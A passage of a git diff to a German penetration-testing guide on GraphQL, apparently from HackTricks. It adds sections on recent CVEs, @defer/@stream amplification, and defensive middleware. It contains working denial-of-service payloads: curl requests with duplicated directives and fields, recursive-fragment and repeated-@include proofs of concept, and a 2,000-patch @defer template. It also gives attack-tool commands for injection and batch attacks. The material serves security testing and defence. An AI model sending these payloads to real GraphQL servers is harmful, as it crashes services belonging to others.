wenn der Server wiederholt dieselbe Direktivenlogik verarbeitet. Ohne angemessene Validierung oder Grenzen kann ein Angreifer dies ausnutzen, indem er eine Abfrage mit zahlreichen duplizierten Direktiven erstellt, um eine hohe Rechen- oder Speichernutzung auszulösen, was zu **Denial of Service (DoS)** führt. +**Directive Overloading** tritt auf, wenn ein GraphQL-Server Abfragen mit übermäßigen, duplizierten Direktiven zulässt. Dies kann den Parser und den Executor des Servers überwältigen, insbesondere wenn der Server wiederholt dieselbe Direktivenlogik verarbeitet. Ohne angemessene Validierung oder Grenzen kann ein Angreifer dies ausnutzen, indem er eine Abfrage mit zahlreichen duplizierten Direktiven erstellt, um eine hohe Rechen- oder Speichernutzung auszulösen, was zu **Denial of Service (DoS)** führt. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -521,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -Beachten Sie, dass im vorherigen Beispiel `@aa` eine benutzerdefinierte Direktive ist, die **möglicherweise nicht deklariert ist**. Eine gängige Direktive, die normalerweise vorhanden ist, ist **`@include`**: +Beachten Sie, dass im vorherigen Beispiel `@aa` eine benutzerdefinierte Direktive ist, die **möglicherweise nicht deklariert ist**. Eine gängige Direktive, die normalerweise existiert, ist **`@include`**: ```bash curl -X POST \ -H "Content-Type: application/json" \ @@ -539,18 +539,81 @@ Und dann **verwenden Sie einige der benutzerdefinierten**. ### **Feldduplikationsanfälligkeit** -**Feldduplikation** ist eine Anfälligkeit, bei der ein GraphQL-Server Abfragen mit demselben Feld übermäßig wiederholt. Dies zwingt den Server, das Feld für jede Instanz redundant aufzulösen, was erhebliche Ressourcen (CPU, Speicher und Datenbankaufrufe) verbraucht. Ein Angreifer kann Abfragen mit Hunderten oder Tausenden von wiederholten Feldern erstellen, was zu hoher Last führt und potenziell zu einem **Denial of Service (DoS)** führen kann. +**Feldduplikation** ist eine Anfälligkeit, bei der ein GraphQL-Server Abfragen mit demselben Feld, das übermäßig wiederholt wird, zulässt. Dies zwingt den Server, das Feld für jede Instanz redundant aufzulösen, was erhebliche Ressourcen (CPU, Speicher und Datenbankaufrufe) verbraucht. Ein Angreifer kann Abfragen mit Hunderten oder Tausenden von wiederholten Feldern erstellen, was zu hoher Last führt und potenziell zu einem **Denial of Service (DoS)** führen kann. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ -d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ 'https://example.com/graphql' ``` +## Aktuelle Schwachstellen (2023-2025) + +> Das GraphQL-Ökosystem entwickelt sich sehr schnell; in den letzten zwei Jahren wurden mehrere kritische Probleme in den am häufigsten verwendeten Serverbibliotheken offengelegt. Wenn Sie einen GraphQL-Endpunkt finden, ist es daher sinnvoll, die Engine zu identifizieren (siehe **graphw00f**) und die laufende Version mit den unten aufgeführten Schwachstellen zu überprüfen. + +### CVE-2024-47614 – `async-graphql` directive-overload DoS (Rust) +* Betroffen: async-graphql < **7.0.10** (Rust) +* Ursache: kein Limit für **duplizierte Direktiven** (z. B. Tausende von `@include`), die in eine exponentielle Anzahl von Ausführungs-Knoten erweitert werden. +* Auswirkungen: Eine einzige HTTP-Anfrage kann CPU/RAM erschöpfen und den Dienst zum Absturz bringen. +* Lösung/Minderung: Upgrade auf ≥ 7.0.10 oder `SchemaBuilder.limit_directives()` aufrufen; alternativ Anfragen mit einer WAF-Regel wie `"@include.*@include.*@include"` filtern. +```graphql +# PoC – repeat @include X times +query overload { +__typename @include(if:true) @include(if:true) @include(if:true) +} +``` +### CVE-2024-40094 – `graphql-java` ENF Tiefe/Komplexität Umgehung +* Betroffen: graphql-java < 19.11, 20.0-20.8, 21.0-21.4 +* Ursache: **ExecutableNormalizedFields** wurden von der `MaxQueryDepth` / `MaxQueryComplexity` Instrumentierung nicht berücksichtigt. Rekursive Fragmente umgingen daher alle Grenzen. +* Auswirkungen: nicht authentifizierter DoS gegen Java-Stacks, die graphql-java einbetten (Spring Boot, Netflix DGS, Atlassian-Produkte…). +```graphql +fragment A on Query { ...B } +fragment B on Query { ...A } +query { ...A } +``` +### CVE-2023-23684 – WPGraphQL SSRF zu RCE-Kette +* Betroffen: WPGraphQL ≤ 1.14.5 (WordPress-Plugin). +* Grundursache: Die `createMediaItem`-Mutation akzeptierte von Angreifern kontrollierte **`filePath`-URLs**, die internen Netzwerkzugang und Dateischreibvorgänge ermöglichten. +* Auswirkungen: Authentifizierte Redakteure/Autoren konnten auf Metadatenendpunkte zugreifen oder PHP-Dateien für die Remote-Code-Ausführung schreiben. + +--- + +## Missbrauch der inkrementellen Lieferung: `@defer` / `@stream` +Seit 2023 haben die meisten großen Server (Apollo 4, GraphQL-Java 20+, HotChocolate 13) die **inkrementellen Liefer**-Direktiven implementiert, die von der GraphQL-over-HTTP WG definiert wurden. Jeder aufgeschobene Patch wird als **separater Chunk** gesendet, sodass die gesamte Antwortgröße *N + 1* (Umschlag + Patches) beträgt. Eine Abfrage, die Tausende von kleinen aufgeschobenen Feldern enthält, erzeugt daher eine große Antwort, während der Angreifer nur eine Anfrage kostet – ein klassisches **Amplification DoS** und eine Möglichkeit, WAF-Regeln zur Körpergröße zu umgehen, die nur den ersten Chunk inspizieren. Die WG-Mitglieder selbst haben das Risiko hervorgehoben. + +Beispiel-Payload, die 2 000 Patches generiert: +```graphql +query abuse { +% for i in range(0,2000): +f{{i}}: __typename @defer +% endfor +} +``` +Mitigation: Deaktivieren Sie `@defer/@stream` in der Produktion oder erzwingen Sie `max_patches`, kumulative `max_bytes` und Ausführungszeit. Bibliotheken wie **graphql-armor** (siehe unten) setzen bereits sinnvolle Standardwerte durch. + +--- + +## Defensive Middleware (2024+) + +| Projekt | Hinweise | +|---|---| +| **graphql-armor** | Node/TypeScript-Validierungsmiddleware, veröffentlicht von Escape Tech. Implementiert Plug-and-Play-Grenzen für Abfragetiefe, Alias-/Feld-/Direktive-Zählungen, Tokens und Kosten; kompatibel mit Apollo Server, GraphQL Yoga/Envelop, Helix usw. | + +Schnellstart: +```ts +import { protect } from '@escape.tech/graphql-armor'; +import { applyMiddleware } from 'graphql-middleware'; + +const protectedSchema = applyMiddleware(schema, ...protect()); +``` +`graphql-armor` wird nun zu tiefe, komplexe oder directive-lastige Abfragen blockieren und schützt vor den oben genannten CVEs. + +--- + ## Tools ### Schwachstellenscanner -- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testen von häufigen Fehlkonfigurationen von GraphQL-Endpunkten +- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testet häufige Fehlkonfigurationen von graphql-Endpunkten - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL-Sicherheitsprüfskript mit Fokus auf das Durchführen von Batch-GraphQL-Abfragen und -Mutationen. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerabdruck des verwendeten GraphQL - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit, das verwendet werden kann, um Schemata zu erfassen und nach sensiblen Daten zu suchen, Autorisierungen zu testen, Schemata zu brute-forcen und Pfade zu einem bestimmten Typ zu finden. @@ -558,8 +621,8 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kann auch als CLI-Client verwendet werden, um Angriffe zu automatisieren: `python3 graphqlmap.py -u http://example.com/graphql --inject` - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Tool, das die verschiedenen Möglichkeiten auflistet, **einen bestimmten Typ in einem GraphQL-Schema zu erreichen**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Der Nachfolger der Standalone- und CLI-Modi von InQL -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp-Erweiterung oder Python-Skript für fortgeschrittene GraphQL-Tests. Der _**Scanner**_ ist der Kern von InQL v5.0, wo Sie einen GraphQL-Endpunkt oder eine lokale Introspektionsschema-Datei analysieren können. Er generiert automatisch alle möglichen Abfragen und Mutationen und organisiert sie in einer strukturierten Ansicht für Ihre Analyse. Die _**Attacker**_-Komponente ermöglicht es Ihnen, Batch-GraphQL-Angriffe durchzuführen, die nützlich sein können, um schlecht implementierte Ratenlimits zu umgehen: `python3 inql.py -t http://example.com/graphql -o output.json` -- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Versuchen Sie, das Schema selbst bei deaktivierter Introspektion zu erhalten, indem Sie die Hilfe einiger GraphQL-Datenbanken in Anspruch nehmen, die die Namen von Mutationen und Parametern vorschlagen. +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp-Erweiterung oder Python-Skript für fortgeschrittene GraphQL-Tests. Der _**Scanner**_ ist der Kern von InQL v5.0, wo Sie einen GraphQL-Endpunkt oder eine lokale Introspektionsschema-Datei analysieren können. Er generiert automatisch alle möglichen Abfragen und Mutationen und organisiert sie in einer strukturierten Ansicht für Ihre Analyse. Die _**Angreifer**_-Komponente ermöglicht es Ihnen, Batch-GraphQL-Angriffe durchzuführen, die nützlich sein können, um schlecht implementierte Ratenlimits zu umgehen: `python3 inql.py -t http://example.com/graphql -o output.json` +- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Versucht, das Schema selbst bei deaktivierter Introspektion zu erhalten, indem es die Hilfe einiger Graphql-Datenbanken in Anspruch nimmt, die die Namen von Mutationen und Parametern vorschlagen. ### Skripte zur Ausnutzung häufiger Schwachstellen @@ -587,5 +650,7 @@ https://graphql-dashboard.herokuapp.com/ - [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) +- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8) +- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor) {{#include ../../banners/hacktricks-training.md}}